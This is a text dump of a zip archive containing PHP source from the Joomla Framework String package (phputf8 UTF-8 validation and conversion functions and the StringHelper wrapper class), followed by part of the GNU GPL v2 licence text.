* Returns false if the input array contains ints that represent
* surrogates or are outside the Unicode range
* and raises a PHP error at level E_USER_WARNING
* Note: this function has been modified slightly in this library to use
* output buffering to concatenate the UTF-8 string (faster) as well as
* reference the array by it's keys
* @param array of unicode code points representing a string
* @return mixed UTF-8 string or FALSE if array contains invalid code points
* @author <hsivonen@iki.fi>
* @see utf8_to_unicode
* @see http://hsivonen.iki.fi/php-utf8/
* @package utf8
*/
function utf8_from_unicode($arr) {
ob_start();
foreach (array_keys($arr) as $k) {
# ASCII range (including control chars)
if ( ($arr[$k] >= 0) && ($arr[$k] <= 0x007f) ) {
echo chr($arr[$k]);
# 2 byte sequence
} else if ($arr[$k] <= 0x07ff) {
echo chr(0xc0 | ($arr[$k] >> 6));
echo chr(0x80 | ($arr[$k] & 0x003f));
# Byte order mark (skip)
} else if($arr[$k] == 0xFEFF) {
// nop -- zap the BOM
# Test for illegal surrogates
} else if ($arr[$k] >= 0xD800 && $arr[$k] <= 0xDFFF)
{
// found a surrogate
trigger_error(
'utf8_from_unicode: Illegal surrogate '.
'at index: '.$k.', value:
'.$arr[$k],
E_USER_WARNING
);
return FALSE;
# 3 byte sequence
} else if ($arr[$k] <= 0xffff) {
echo chr(0xe0 | ($arr[$k] >> 12));
echo chr(0x80 | (($arr[$k] >> 6) & 0x003f));
echo chr(0x80 | ($arr[$k] & 0x003f));
# 4 byte sequence
} else if ($arr[$k] <= 0x10ffff) {
echo chr(0xf0 | ($arr[$k] >> 18));
echo chr(0x80 | (($arr[$k] >> 12) & 0x3f));
echo chr(0x80 | (($arr[$k] >> 6) & 0x3f));
echo chr(0x80 | ($arr[$k] & 0x3f));
} else {
trigger_error(
'utf8_from_unicode: Codepoint out of Unicode range
'.
'at index: '.$k.', value:
'.$arr[$k],
E_USER_WARNING
);
// out of range
return FALSE;
}
}
$result = ob_get_contents();
ob_end_clean();
return $result;
}
PKDž�[���K��'string/src/phputf8/utils/validation.phpnu�[���<?php
/**
* Tools for validing a UTF-8 string is well formed.
* The Original Code is Mozilla Communicator client code.
* The Initial Developer of the Original Code is
* Netscape Communications Corporation.
* Portions created by the Initial Developer are Copyright (C) 1998
* the Initial Developer. All Rights Reserved.
* Ported to PHP by Henri Sivonen (http://hsivonen.iki.fi)
* Slight modifications to fit with phputf8 library by Harry Fuecks (hfuecks
gmail com)
* @see
http://lxr.mozilla.org/seamonkey/source/intl/uconv/src/nsUTF8ToUnicode.cpp
* @see
http://lxr.mozilla.org/seamonkey/source/intl/uconv/src/nsUnicodeToUTF8.cpp
* @see http://hsivonen.iki.fi/php-utf8/
* @package utf8
*/
//--------------------------------------------------------------------
/**
* Tests a string as to whether it's valid UTF-8 and supported by the
* Unicode standard
* Note: this function has been modified to simple return true or false
* @author <hsivonen@iki.fi>
* @param string UTF-8 encoded string
* @return boolean true if valid
* @see http://hsivonen.iki.fi/php-utf8/
* @see utf8_compliant
* @package utf8
*/
function utf8_is_valid($str) {
$mState = 0; // cached expected number of octets after the current
octet
// until the beginning of the next UTF8 character
sequence
$mUcs4 = 0; // cached Unicode character
$mBytes = 1; // cached expected number of octets in the current
sequence
$len = strlen($str);
for($i = 0; $i < $len; $i++) {
/*
* Joomla modification - As of PHP 7.4, curly brace access has been
deprecated. As a result the line below has
* been modified to use square brace syntax
* See
https://github.com/php/php-src/commit/d574df63dc375f5fc9202ce5afde23f866b6450a
* for additional references
*/
$in = ord($str[$i]);
if ( $mState == 0) {
// When mState is zero we expect either a US-ASCII character or
a
// multi-octet sequence.
if (0 == (0x80 & ($in))) {
// US-ASCII, pass straight through.
$mBytes = 1;
} else if (0xC0 == (0xE0 & ($in))) {
// First octet of 2 octet sequence
$mUcs4 = ($in);
$mUcs4 = ($mUcs4 & 0x1F) << 6;
$mState = 1;
$mBytes = 2;
} else if (0xE0 == (0xF0 & ($in))) {
// First octet of 3 octet sequence
$mUcs4 = ($in);
$mUcs4 = ($mUcs4 & 0x0F) << 12;
$mState = 2;
$mBytes = 3;
} else if (0xF0 == (0xF8 & ($in))) {
// First octet of 4 octet sequence
$mUcs4 = ($in);
$mUcs4 = ($mUcs4 & 0x07) << 18;
$mState = 3;
$mBytes = 4;
} else if (0xF8 == (0xFC & ($in))) {
/* First octet of 5 octet sequence.
*
* This is illegal because the encoded codepoint must be
either
* (a) not the shortest form or
* (b) outside the Unicode range of 0-0x10FFFF.
* Rather than trying to resynchronize, we will carry on
until the end
* of the sequence and let the later error handling code
catch it.
*/
$mUcs4 = ($in);
$mUcs4 = ($mUcs4 & 0x03) << 24;
$mState = 4;
$mBytes = 5;
} else if (0xFC == (0xFE & ($in))) {
// First octet of 6 octet sequence, see comments for 5
octet sequence.
$mUcs4 = ($in);
$mUcs4 = ($mUcs4 & 1) << 30;
$mState = 5;
$mBytes = 6;
} else {
/* Current octet is neither in the US-ASCII range nor a
legal first
* octet of a multi-octet sequence.
*/
return FALSE;
}
} else {
// When mState is non-zero, we expect a continuation of the
multi-octet
// sequence
if (0x80 == (0xC0 & ($in))) {
// Legal continuation.
$shift = ($mState - 1) * 6;
$tmp = $in;
$tmp = ($tmp & 0x0000003F) << $shift;
$mUcs4 |= $tmp;
/**
* End of the multi-octet sequence. mUcs4 now contains the
final
* Unicode codepoint to be output
*/
if (0 == --$mState) {
/*
* Check for illegal sequences and codepoints.
*/
// From Unicode 3.1, non-shortest form is illegal
if (((2 == $mBytes) && ($mUcs4 < 0x0080)) ||
((3 == $mBytes) && ($mUcs4 < 0x0800)) ||
((4 == $mBytes) && ($mUcs4 < 0x10000))
||
(4 < $mBytes) ||
// From Unicode 3.2, surrogate characters are
illegal
(($mUcs4 & 0xFFFFF800) == 0xD800) ||
// Codepoints outside the Unicode range are illegal
($mUcs4 > 0x10FFFF)) {
return FALSE;
}
//initialize UTF8 cache
$mState = 0;
$mUcs4 = 0;
$mBytes = 1;
}
} else {
/**
*((0xC0 & (*in) != 0x80) && (mState != 0))
* Incomplete multi-octet sequence.
*/
return FALSE;
}
}
}
return TRUE;
}
//--------------------------------------------------------------------
/**
* Tests whether a string complies as UTF-8. This will be much
* faster than utf8_is_valid but will pass five and six octet
* UTF-8 sequences, which are not supported by Unicode and
* so cannot be displayed correctly in a browser. In other words
* it is not as strict as utf8_is_valid but it's faster. If you use
* is to validate user input, you place yourself at the risk that
* attackers will be able to inject 5 and 6 byte sequences (which
* may or may not be a significant risk, depending on what you are
* are doing)
* @see utf8_is_valid
* @see
http://www.php.net/manual/en/reference.pcre.pattern.modifiers.php#54805
* @param string UTF-8 string to check
* @return boolean TRUE if string is valid UTF-8
* @package utf8
*/
function utf8_compliant($str) {
if ( strlen($str) == 0 ) {
return TRUE;
}
// If even just the first character can be matched, when the /u
// modifier is used, then it's valid UTF-8. If the UTF-8 is
somehow
// invalid, nothing at all will match, even if the string contains
// some valid sequences
return (preg_match('/^.{1}/us',$str,$ar) == 1);
}
PKDž�[-t),��string/src/String.phpnu�[���<?php
/**
* Part of the Joomla Framework String Package
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
namespace Joomla\String;
/**
* String handling class for utf-8 data
* Wraps the phputf8 library
* All functions assume the validity of utf-8 strings.
*
* @since 1.0
* @deprecated 2.0 Use StringHelper instead
*/
abstract class String extends StringHelper
{
}
PKDž�[��@WWstring/src/StringHelper.phpnu�[���<?php
/**
* Part of the Joomla Framework String Package
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
namespace Joomla\String;
// PHP mbstring and iconv local configuration
if (version_compare(PHP_VERSION, '5.6', '>='))
{
@ini_set('default_charset', 'UTF-8');
}
else
{
// Check if mbstring extension is loaded and attempt to load it if not
present except for windows
if (\extension_loaded('mbstring'))
{
@ini_set('mbstring.internal_encoding', 'UTF-8');
@ini_set('mbstring.http_input', 'UTF-8');
@ini_set('mbstring.http_output', 'UTF-8');
}
// Same for iconv
if (\function_exists('iconv'))
{
iconv_set_encoding('internal_encoding', 'UTF-8');
iconv_set_encoding('input_encoding', 'UTF-8');
iconv_set_encoding('output_encoding', 'UTF-8');
}
}
/**
* String handling class for UTF-8 data wrapping the phputf8 library. All
functions assume the validity of UTF-8 strings.
*
* @since 1.3.0
*/
abstract class StringHelper
{
/**
* Increment styles.
*
* @var array
* @since 1.3.0
*/
protected static $incrementStyles = array(
'dash' => array(
'#-(\d+)$#',
'-%d',
),
'default' => array(
array('#\((\d+)\)$#', '#\(\d+\)$#'),
array(' (%d)', '(%d)'),
),
);
/**
* Increments a trailing number in a string.
*
* Used to easily create distinct labels when copying objects. The method
has the following styles:
*
* default: "Label" becomes "Label (2)"
* dash: "Label" becomes "Label-2"
*
* @param string $string The source string.
* @param string $style The the style (default|dash).
* @param integer $n If supplied, this number is used for the
copy, otherwise it is the 'next' number.
*
* @return string The incremented string.
*
* @since 1.3.0
*/
public static function increment($string, $style = 'default', $n
= 0)
{
$styleSpec = isset(static::$incrementStyles[$style]) ?
static::$incrementStyles[$style] :
static::$incrementStyles['default'];
// Regular expression search and replace patterns.
if (\is_array($styleSpec[0]))
{
$rxSearch = $styleSpec[0][0];
$rxReplace = $styleSpec[0][1];
}
else
{
$rxSearch = $rxReplace = $styleSpec[0];
}
// New and old (existing) sprintf formats.
if (\is_array($styleSpec[1]))
{
$newFormat = $styleSpec[1][0];
$oldFormat = $styleSpec[1][1];
}
else
{
$newFormat = $oldFormat = $styleSpec[1];
}
// Check if we are incrementing an existing pattern, or appending a new
one.
if (preg_match($rxSearch, $string, $matches))
{
$n = empty($n) ? ($matches[1] + 1) : $n;
$string = preg_replace($rxReplace, sprintf($oldFormat, $n), $string);
}
else
{
$n = empty($n) ? 2 : $n;
$string .= sprintf($newFormat, $n);
}
return $string;
}
/**
* Tests whether a string contains only 7bit ASCII bytes.
*
* You might use this to conditionally check whether a string needs
handling as UTF-8 or not, potentially offering performance
* benefits by using the native PHP equivalent if it's just ASCII
e.g.;
*
* <code>
* if (StringHelper::is_ascii($someString))
* {
* // It's just ASCII - use the native PHP version
* $someString = strtolower($someString);
* }
* else
* {
* $someString = StringHelper::strtolower($someString);
* }
* </code>
*
* @param string $str The string to test.
*
* @return boolean True if the string is all ASCII
*
* @since 1.3.0
*/
public static function is_ascii($str)
{
return utf8_is_ascii($str);
}
/**
* UTF-8 aware alternative to ord()
*
* Returns the unicode ordinal for a character.
*
* @param string $chr UTF-8 encoded character
*
* @return integer Unicode ordinal for the character
*
* @link https://www.php.net/ord
* @since 1.4.0
*/
public static function ord($chr)
{
return utf8_ord($chr);
}
/**
* UTF-8 aware alternative to strpos()
*
* Find position of first occurrence of a string.
*
* @param string $str String being examined
* @param string $search String being searched for
* @param integer $offset Optional, specifies the position from which
the search should be performed
*
* @return integer|boolean Number of characters before the first match
or FALSE on failure
*
* @link https://www.php.net/strpos
* @since 1.3.0
*/
public static function strpos($str, $search, $offset = false)
{
if ($offset === false)
{
return utf8_strpos($str, $search);
}
return utf8_strpos($str, $search, $offset);
}
/**
* UTF-8 aware alternative to strrpos()
*
* Finds position of last occurrence of a string.
*
* @param string $str String being examined.
* @param string $search String being searched for.
* @param integer $offset Offset from the left of the string.
*
* @return integer|boolean Number of characters before the last match or
false on failure
*
* @link https://www.php.net/strrpos
* @since 1.3.0
*/
public static function strrpos($str, $search, $offset = 0)
{
return utf8_strrpos($str, $search, $offset);
}
/**
* UTF-8 aware alternative to substr()
*
* Return part of a string given character offset (and optionally length).
*
* @param string $str String being processed
* @param integer $offset Number of UTF-8 characters offset (from
left)
* @param integer $length Optional length in UTF-8 characters from
offset
*
* @return string|boolean
*
* @link https://www.php.net/substr
* @since 1.3.0
*/
public static function substr($str, $offset, $length = false)
{
if ($length === false)
{
return utf8_substr($str, $offset);
}
return utf8_substr($str, $offset, $length);
}
/**
* UTF-8 aware alternative to strtolower()
*
* Make a string lowercase
*
* Note: The concept of a characters "case" only exists is some
alphabets such as Latin, Greek, Cyrillic, Armenian and archaic Georgian -
it does
* not exist in the Chinese alphabet, for example. See Unicode Standard
Annex #21: Case Mappings
*
* @param string $str String being processed
*
* @return string|boolean Either string in lowercase or FALSE is UTF-8
invalid
*
* @link https://www.php.net/strtolower
* @since 1.3.0
*/
public static function strtolower($str)
{
return utf8_strtolower($str);
}
/**
* UTF-8 aware alternative to strtoupper()
*
* Make a string uppercase
*
* Note: The concept of a characters "case" only exists is some
alphabets such as Latin, Greek, Cyrillic, Armenian and archaic Georgian -
it does
* not exist in the Chinese alphabet, for example. See Unicode Standard
Annex #21: Case Mappings
*
* @param string $str String being processed
*
* @return string|boolean Either string in uppercase or FALSE is UTF-8
invalid
*
* @link https://www.php.net/strtoupper
* @since 1.3.0
*/
public static function strtoupper($str)
{
return utf8_strtoupper($str);
}
/**
* UTF-8 aware alternative to strlen()
*
* Returns the number of characters in the string (NOT THE NUMBER OF
BYTES).
*
* @param string $str UTF-8 string.
*
* @return integer Number of UTF-8 characters in string.
*
* @link https://www.php.net/strlen
* @since 1.3.0
*/
public static function strlen($str)
{
return utf8_strlen($str);
}
/**
* UTF-8 aware alternative to str_ireplace()
*
* Case-insensitive version of str_replace()
*
* @param string $search String to search
* @param string $replace Existing string to replace
* @param string $str New string to replace with
* @param integer $count Optional count value to be passed by
referene
*
* @return string UTF-8 String
*
* @link https://www.php.net/str_ireplace
* @since 1.3.0
*/
public static function str_ireplace($search, $replace, $str, $count =
null)
{
if ($count === false)
{
return utf8_ireplace($search, $replace, $str);
}
return utf8_ireplace($search, $replace, $str, $count);
}
/**
* UTF-8 aware alternative to str_pad()
*
* Pad a string to a certain length with another string.
* $padStr may contain multi-byte characters.
*
* @param string $input The input string.
* @param integer $length If the value is negative, less than, or
equal to the length of the input string, no padding takes place.
* @param string $padStr The string may be truncated if the number of
padding characters can't be evenly divided by the string's
length.
* @param integer $type The type of padding to apply
*
* @return string
*
* @link https://www.php.net/str_pad
* @since 1.4.0
*/
public static function str_pad($input, $length, $padStr = ' ',
$type = STR_PAD_RIGHT)
{
return utf8_str_pad($input, $length, $padStr, $type);
}
/**
* UTF-8 aware alternative to str_split()
*
* Convert a string to an array.
*
* @param string $str UTF-8 encoded string to process
* @param integer $splitLen Number to characters to split string by
*
* @return array
*
* @link https://www.php.net/str_split
* @since 1.3.0
*/
public static function str_split($str, $splitLen = 1)
{
return utf8_str_split($str, $splitLen);
}
/**
* UTF-8/LOCALE aware alternative to strcasecmp()
*
* A case insensitive string comparison.
*
* @param string $str1 string 1 to compare
* @param string $str2 string 2 to compare
* @param mixed $locale The locale used by strcoll or false to use
classical comparison
*
* @return integer < 0 if str1 is less than str2; > 0 if str1 is
greater than str2, and 0 if they are equal.
*
* @link https://www.php.net/strcasecmp
* @link https://www.php.net/strcoll
* @link https://www.php.net/setlocale
* @since 1.3.0
*/
public static function strcasecmp($str1, $str2, $locale = false)
{
if ($locale)
{
// Get current locale
$locale0 = setlocale(LC_COLLATE, 0);
if (!$locale = setlocale(LC_COLLATE, $locale))
{
$locale = $locale0;
}
// See if we have successfully set locale to UTF-8
if (!stristr($locale, 'UTF-8') && stristr($locale,
'_') && preg_match('~\.(\d+)$~', $locale, $m))
{
$encoding = 'CP' . $m[1];
}
elseif (stristr($locale, 'UTF-8') || stristr($locale,
'utf8'))
{
$encoding = 'UTF-8';
}
else
{
$encoding = 'nonrecodable';
}
// If we successfully set encoding it to utf-8 or encoding is sth weird
don't recode
if ($encoding == 'UTF-8' || $encoding ==
'nonrecodable')
{
return strcoll(utf8_strtolower($str1), utf8_strtolower($str2));
}
return strcoll(
static::transcode(utf8_strtolower($str1), 'UTF-8',
$encoding),
static::transcode(utf8_strtolower($str2), 'UTF-8', $encoding)
);
}
return utf8_strcasecmp($str1, $str2);
}
/**
* UTF-8/LOCALE aware alternative to strcmp()
*
* A case sensitive string comparison.
*
* @param string $str1 string 1 to compare
* @param string $str2 string 2 to compare
* @param mixed $locale The locale used by strcoll or false to use
classical comparison
*
* @return integer < 0 if str1 is less than str2; > 0 if str1 is
greater than str2, and 0 if they are equal.
*
* @link https://www.php.net/strcmp
* @link https://www.php.net/strcoll
* @link https://www.php.net/setlocale
* @since 1.3.0
*/
public static function strcmp($str1, $str2, $locale = false)
{
if ($locale)
{
// Get current locale
$locale0 = setlocale(LC_COLLATE, 0);
if (!$locale = setlocale(LC_COLLATE, $locale))
{
$locale = $locale0;
}
// See if we have successfully set locale to UTF-8
if (!stristr($locale, 'UTF-8') && stristr($locale,
'_') && preg_match('~\.(\d+)$~', $locale, $m))
{
$encoding = 'CP' . $m[1];
}
elseif (stristr($locale, 'UTF-8') || stristr($locale,
'utf8'))
{
$encoding = 'UTF-8';
}
else
{
$encoding = 'nonrecodable';
}
// If we successfully set encoding it to utf-8 or encoding is sth weird
don't recode
if ($encoding == 'UTF-8' || $encoding ==
'nonrecodable')
{
return strcoll($str1, $str2);
}
return strcoll(static::transcode($str1, 'UTF-8', $encoding),
static::transcode($str2, 'UTF-8', $encoding));
}
return strcmp($str1, $str2);
}
/**
* UTF-8 aware alternative to strcspn()
*
* Find length of initial segment not matching mask.
*
* @param string $str The string to process
* @param string $mask The mask
* @param integer $start Optional starting character position (in
characters)
* @param integer $length Optional length
*
* @return integer The length of the initial segment of str1 which does
not contain any of the characters in str2
*
* @link https://www.php.net/strcspn
* @since 1.3.0
*/
public static function strcspn($str, $mask, $start = null, $length = null)
{
if ($start === false && $length === false)
{
return utf8_strcspn($str, $mask);
}
if ($length === false)
{
return utf8_strcspn($str, $mask, $start);
}
return utf8_strcspn($str, $mask, $start, $length);
}
/**
* UTF-8 aware alternative to stristr()
*
* Returns all of haystack from the first occurrence of needle to the end.
Needle and haystack are examined in a case-insensitive manner to
* find the first occurrence of a string using case insensitive
comparison.
*
* @param string $str The haystack
* @param string $search The needle
*
* @return string the sub string
*
* @link https://www.php.net/stristr
* @since 1.3.0
*/
public static function stristr($str, $search)
{
return utf8_stristr($str, $search);
}
/**
* UTF-8 aware alternative to strrev()
*
* Reverse a string.
*
* @param string $str String to be reversed
*
* @return string The string in reverse character order
*
* @link https://www.php.net/strrev
* @since 1.3.0
*/
public static function strrev($str)
{
return utf8_strrev($str);
}
/**
* UTF-8 aware alternative to strspn()
*
* Find length of initial segment matching mask.
*
* @param string $str The haystack
* @param string $mask The mask
* @param integer $start Start optional
* @param integer $length Length optional
*
* @return integer
*
* @link https://www.php.net/strspn
* @since 1.3.0
*/
public static function strspn($str, $mask, $start = null, $length = null)
{
if ($start === null && $length === null)
{
return utf8_strspn($str, $mask);
}
if ($length === null)
{
return utf8_strspn($str, $mask, $start);
}
return utf8_strspn($str, $mask, $start, $length);
}
/**
* UTF-8 aware alternative to substr_replace()
*
* Replace text within a portion of a string.
*
* @param string $str The haystack
* @param string $repl The replacement string
* @param integer $start Start
* @param integer $length Length (optional)
*
* @return string
*
* @link https://www.php.net/substr_replace
* @since 1.3.0
*/
public static function substr_replace($str, $repl, $start, $length = null)
{
// Loaded by library loader
if ($length === false)
{
return utf8_substr_replace($str, $repl, $start);
}
return utf8_substr_replace($str, $repl, $start, $length);
}
/**
* UTF-8 aware replacement for ltrim()
*
* Strip whitespace (or other characters) from the beginning of a string.
You only need to use this if you are supplying the charlist
* optional arg and it contains UTF-8 characters. Otherwise ltrim will
work normally on a UTF-8 string.
*
* @param string $str The string to be trimmed
* @param string $charlist The optional charlist of additional
characters to trim
*
* @return string The trimmed string
*
* @link https://www.php.net/ltrim
* @since 1.3.0
*/
public static function ltrim($str, $charlist = false)
{
if (empty($charlist) && $charlist !== false)
{
return $str;
}
if ($charlist === false)
{
return utf8_ltrim($str);
}
return utf8_ltrim($str, $charlist);
}
/**
* UTF-8 aware replacement for rtrim()
*
* Strip whitespace (or other characters) from the end of a string. You
only need to use this if you are supplying the charlist
* optional arg and it contains UTF-8 characters. Otherwise rtrim will
work normally on a UTF-8 string.
*
* @param string $str The string to be trimmed
* @param string $charlist The optional charlist of additional
characters to trim
*
* @return string The trimmed string
*
* @link https://www.php.net/rtrim
* @since 1.3.0
*/
public static function rtrim($str, $charlist = false)
{
if (empty($charlist) && $charlist !== false)
{
return $str;
}
if ($charlist === false)
{
return utf8_rtrim($str);
}
return utf8_rtrim($str, $charlist);
}
/**
* UTF-8 aware replacement for trim()
*
* Strip whitespace (or other characters) from the beginning and end of a
string. You only need to use this if you are supplying the charlist
* optional arg and it contains UTF-8 characters. Otherwise trim will work
normally on a UTF-8 string
*
* @param string $str The string to be trimmed
* @param string $charlist The optional charlist of additional
characters to trim
*
* @return string The trimmed string
*
* @link https://www.php.net/trim
* @since 1.3.0
*/
public static function trim($str, $charlist = false)
{
if (empty($charlist) && $charlist !== false)
{
return $str;
}
if ($charlist === false)
{
return utf8_trim($str);
}
return utf8_trim($str, $charlist);
}
/**
* UTF-8 aware alternative to ucfirst()
*
* Make a string's first character uppercase or all words' first
character uppercase.
*
* @param string $str String to be processed
* @param string $delimiter The words delimiter (null means do not
split the string)
* @param string $newDelimiter The new words delimiter (null means
equal to $delimiter)
*
* @return string If $delimiter is null, return the string with first
character as upper case (if applicable)
* else consider the string of words separated by the
delimiter, apply the ucfirst to each words
* and return the string with the new delimiter
*
* @link https://www.php.net/ucfirst
* @since 1.3.0
*/
public static function ucfirst($str, $delimiter = null, $newDelimiter =
null)
{
if ($delimiter === null)
{
return utf8_ucfirst($str);
}
if ($newDelimiter === null)
{
$newDelimiter = $delimiter;
}
return implode($newDelimiter, array_map('utf8_ucfirst',
explode($delimiter, $str)));
}
/**
* UTF-8 aware alternative to ucwords()
*
* Uppercase the first character of each word in a string.
*
* @param string $str String to be processed
*
* @return string String with first char of each word uppercase
*
* @link https://www.php.net/ucwords
* @since 1.3.0
*/
public static function ucwords($str)
{
return utf8_ucwords($str);
}
/**
* Transcode a string.
*
* @param string $source The string to transcode.
* @param string $fromEncoding The source encoding.
* @param string $toEncoding The target encoding.
*
* @return mixed The transcoded string, or null if the source was not a
string.
*
* @link https://bugs.php.net/bug.php?id=48147
*
* @since 1.3.0
*/
public static function transcode($source, $fromEncoding, $toEncoding)
{
if (\is_string($source))
{
switch (ICONV_IMPL)
{
case 'glibc':
return @iconv($fromEncoding, $toEncoding .
'//TRANSLIT,IGNORE', $source);
case 'libiconv':
default:
return iconv($fromEncoding, $toEncoding .
'//IGNORE//TRANSLIT', $source);
}
}
}
/**
* Tests a string as to whether it's valid UTF-8 and supported by the
Unicode standard.
*
* Note: this function has been modified to simple return true or false.
*
* @param string $str UTF-8 encoded string.
*
* @return boolean true if valid
*
* @author <hsivonen@iki.fi>
* @link https://hsivonen.fi/php-utf8/
* @see compliant
* @since 1.3.0
*/
public static function valid($str)
{
return utf8_is_valid($str);
}
/**
* Tests whether a string complies as UTF-8.
*
* This will be much faster than StringHelper::valid() but will pass five
and six octet UTF-8 sequences, which are not supported by Unicode and
* so cannot be displayed correctly in a browser. In other words it is not
as strict as StringHelper::valid() but it's faster. If you use it to
* validate user input, you place yourself at the risk that attackers will
be able to inject 5 and 6 byte sequences (which may or may not be a
* significant risk, depending on what you are are doing).
*
* @param string $str UTF-8 string to check
*
* @return boolean TRUE if string is valid UTF-8
*
* @see StringHelper::valid
* @link
https://www.php.net/manual/en/reference.pcre.pattern.modifiers.php#54805
* @since 1.3.0
*/
public static function compliant($str)
{
return utf8_compliant($str);
}
/**
* Converts Unicode sequences to UTF-8 string.
*
* @param string $str Unicode string to convert
*
* @return string UTF-8 string
*
* @since 1.3.0
*/
public static function unicode_to_utf8($str)
{
if (\extension_loaded('mbstring'))
{
return preg_replace_callback(
'/\\\\u([0-9a-fA-F]{4})/',
function ($match)
{
return mb_convert_encoding(pack('H*', $match[1]),
'UTF-8', 'UCS-2BE');
},
$str
);
}
return $str;
}
/**
* Converts Unicode sequences to UTF-16 string.
*
* @param string $str Unicode string to convert
*
* @return string UTF-16 string
*
* @since 1.3.0
*/
public static function unicode_to_utf16($str)
{
if (\extension_loaded('mbstring'))
{
return preg_replace_callback(
'/\\\\u([0-9a-fA-F]{4})/',
function ($match)
{
return mb_convert_encoding(pack('H*', $match[1]),
'UTF-8', 'UTF-16BE');
},
$str
);
}
return $str;
}
}
PKDž�[�P�E�Euri/LICENSEnu�[���GNU GENERAL PUBLIC
LICENSE
Version 2, June 1991
Copyright (C) 1989, 1991 Free Software Foundation, Inc.
59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
Everyone is permitted to copy and distribute verbatim copies
of this license document, but changing it is not allowed.
Preamble
The licenses for most software are designed to take away your
freedom to share and change it. By contrast, the GNU General Public
License is intended to guarantee your freedom to share and change free
software--to make sure the software is free for all its users. This
General Public License applies to most of the Free Software
Foundation's software and to any other program whose authors commit to
using it. (Some other Free Software Foundation software is covered by
the GNU Library General Public License instead.) You can apply it to
your programs, too.
When we speak of free software, we are referring to freedom, not
price. Our General Public Licenses are designed to make sure that you
have the freedom to distribute copies of free software (and charge for
this service if you wish), that you receive source code or can get it
if you want it, that you can change the software or use pieces of it
in new free programs; and that you know you can do these things.
To protect your rights, we need to make restrictions that forbid
anyone to deny you these rights or to ask you to surrender the rights.
These restrictions translate to certain responsibilities for you if you
distribute copies of the software, or if you modify it.
For example, if you distribute copies of such a program, whether
gratis or for a fee, you must give the recipients all the rights that
you have. You must make sure that they, too, receive or can get the
source code. And you must show them these terms so they know their
rights.
We protect your rights with two steps: (1) copyright the software, and
(2) offer you this license which gives you legal permission to copy,
distribute and/or modify the software.
Also, for each author's protection and ours, we want to make certain
that everyone understands that there is no warranty for this free
software. If the software is modified by someone else and passed on, we
want its recipients to know that what they have is not the original, so
that any problems introduced by others will not reflect on the original
authors' reputations.
Finally, any free program is threatened constantly by software
patents. We wish to avoid the danger that redistributors of a free
program will individually obtain patent licenses, in effect making the
program proprietary. To prevent this, we have made it clear that any
patent must be licensed for everyone's free use or not licensed at
all.
The precise terms and conditions for copying, distribution and
modification follow.
GNU GENERAL PUBLIC LICENSE
TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
0. This License applies to any program or other work which contains
a notice placed by the copyright holder saying it may be distributed
under the terms of this General Public License. The "Program",
below,
refers to any such program or work, and a "work based on the
Program"
means either the Program or any derivative work under copyright law:
that is to say, a work containing the Program or a portion of it,
either verbatim or with modifications and/or translated into another
language. (Hereinafter, translation is included without limitation in
the term "modification".) Each licensee is addressed as
"you".
Activities other than copying, distribution and modification are not
covered by this License; they are outside its scope. The act of
running the Program is not restricted, and the output from the Program
is covered only if its contents constitute a work based on the
Program (independent of having been made by running the Program).
Whether that is true depends on what the Program does.
1. You may copy and distribute verbatim copies of the Program's
source code as you receive it, in any medium, provided that you
conspicuously and appropriately publish on each copy an appropriate
copyright notice and disclaimer of warranty; keep intact all the
notices that refer to this License and to the absence of any warranty;
and give any other recipients of the Program a copy of this License
along with the Program.
You may charge a fee for the physical act of transferring a copy, and
you may at your option offer warranty protection in exchange for a fee.
2. You may modify your copy or copies of the Program or any portion
of it, thus forming a work based on the Program, and copy and
distribute such modifications or work under the terms of Section 1
above, provided that you also meet all of these conditions:
a) You must cause the modified files to carry prominent notices
stating that you changed the files and the date of any change.
b) You must cause any work that you distribute or publish, that in
whole or in part contains or is derived from the Program or any
part thereof, to be licensed as a whole at no charge to all third
parties under the terms of this License.
c) If the modified program normally reads commands interactively
when run, you must cause it, when started running for such
interactive use in the most ordinary way, to print or display an
announcement including an appropriate copyright notice and a
notice that there is no warranty (or else, saying that you provide
a warranty) and that users may redistribute the program under
these conditions, and telling the user how to view a copy of this
License. (Exception: if the Program itself is interactive but
does not normally print such an announcement, your work based on
the Program is not required to print an announcement.)
These requirements apply to the modified work as a whole. If
identifiable sections of that work are not derived from the Program,
and can be reasonably considered independent and separate works in
themselves, then this License, and its terms, do not apply to those
sections when you distribute them as separate works. But when you
distribute the same sections as part of a whole which is a work based
on the Program, the distribution of the whole must be on the terms of
this License, whose permissions for other licensees extend to the
entire whole, and thus to each and every part regardless of who wrote it.
Thus, it is not the intent of this section to claim rights or contest
your rights to work written entirely by you; rather, the intent is to
exercise the right to control the distribution of derivative or
collective works based on the Program.
In addition, mere aggregation of another work not based on the Program
with the Program (or with a work based on the Program) on a volume of
a storage or distribution medium does not bring the other work under
the scope of this License.
3. You may copy and distribute the Program (or a work based on it,
under Section 2) in object code or executable form under the terms of
Sections 1 and 2 above provided that you also do one of the following:
a) Accompany it with the complete corresponding machine-readable
source code, which must be distributed under the terms of Sections
1 and 2 above on a medium customarily used for software interchange; or,
b) Accompany it with a written offer, valid for at least three
years, to give any third party, for a charge no more than your
cost of physically performing source distribution, a complete
machine-readable copy of the corresponding source code, to be
distributed under the terms of Sections 1 and 2 above on a medium
customarily used for software interchange; or,
c) Accompany it with the information you received as to the offer
to distribute corresponding source code. (This alternative is
allowed only for noncommercial distribution and only if you
received the program in object code or executable form with such
an offer, in accord with Subsection b above.)
The source code for a work means the preferred form of the work for
making modifications to it. For an executable work, complete source
code means all the source code for all modules it contains, plus any
associated interface definition files, plus the scripts used to
control compilation and installation of the executable. However, as a
special exception, the source code distributed need not include
anything that is normally distributed (in either source or binary
form) with the major components (compiler, kernel, and so on) of the
operating system on which the executable runs, unless that component
itself accompanies the executable.
If distribution of executable or object code is made by offering
access to copy from a designated place, then offering equivalent
access to copy the source code from the same place counts as
distribution of the source code, even though third parties are not
compelled to copy the source along with the object code.
4. You may not copy, modify, sublicense, or distribute the Program
except as expressly provided under this License. Any attempt
otherwise to copy, modify, sublicense or distribute the Program is
void, and will automatically terminate your rights under this License.
However, parties who have received copies, or rights, from you under
this License will not have their licenses terminated so long as such
parties remain in full compliance.
5. You are not required to accept this License, since you have not
signed it. However, nothing else grants you permission to modify or
